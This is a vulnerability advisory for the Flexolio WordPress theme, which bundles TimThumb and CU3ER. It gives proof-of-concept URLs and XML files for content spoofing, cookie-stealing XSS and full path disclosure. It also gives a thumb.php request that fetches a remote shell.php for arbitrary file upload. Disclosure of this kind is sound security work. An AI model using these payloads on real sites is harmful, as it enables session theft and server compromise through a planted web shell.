Description

Hello 3APA3A!

There are Content Spoofing, Cross-Site Scripting, Full path disclosure, Abuse of Functionality, Denial of Service and Arbitrary File Upload vulnerabilities in Flexolio for WordPress. Which contains TimThumb and CU3ER.

In April 2011 I wrote about vulnerabilities in TimThumb (http://seclists.org/fulldisclosure/2011/Apr/227) and in April 2014 I wrote about vulnerabilities in CU3ER (http://seclists.org/fulldisclosure/2014/Apr/244).


Affected products:

Vulnerable are all versions of Flexolio.


Affected vendors:

Quarterpixel http://quarterpixel.de


Details:

Content Spoofing (Content Injection) (WASC-12):

http://site/wp-content/themes/flexolio/inc/cu3er/cu3er.swf?xml=http://site2/1.xml

File 1.xml:

<?xml version="1.0" encoding="UTF-8"?> <cu3er> <slides> <slide> <url>1.jpg</url> <link>http://websecurity.com.ua</link> </slide> </slides> </cu3er>

Cross-Site Scripting (WASC-08):

http://site/wp-content/themes/flexolio/inc/cu3er/cu3er.swf?xml=http://site2

File xss.xml:

<?xml version="1.0" encoding="UTF-8"?> <cu3er> <slides> <slide> <url>1.jpg</url> <link>javascript:alert(document.cookie)</link> </slide> </slides> </cu3er>

For cross-domain attacks it's needed to have crossdomain.xml at web site with xml-files.

Cross-Site Scripting (WASC-08):

http://site/wp-content/themes/flexolio/inc/thumb.php?src=1%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure (WASC-13):

http://site/wp-content/themes/flexolio/inc/thumb.php?src=http://

And also Abuse of Functionality and DoS in vulnerabilities in TimThumb (http://seclists.org/fulldisclosure/2011/Apr/227) and Arbitrary File Upload vulnerability, which was disclosed after 3,5 months after my disclosure of previous holes. They are possible in old versions of the theme, because in the last versions of the theme in TimThumb the access to remote sites is forbidden.

Arbitrary File Upload (WASC-31):

http://site/wp-content/themes/flexolio/inc/thumb.php?src=http://site.com/shell.php

Full path disclosure (WASC-13):

FPD in php-files of the theme (by default) or in error_log. In index.php and other php-files.
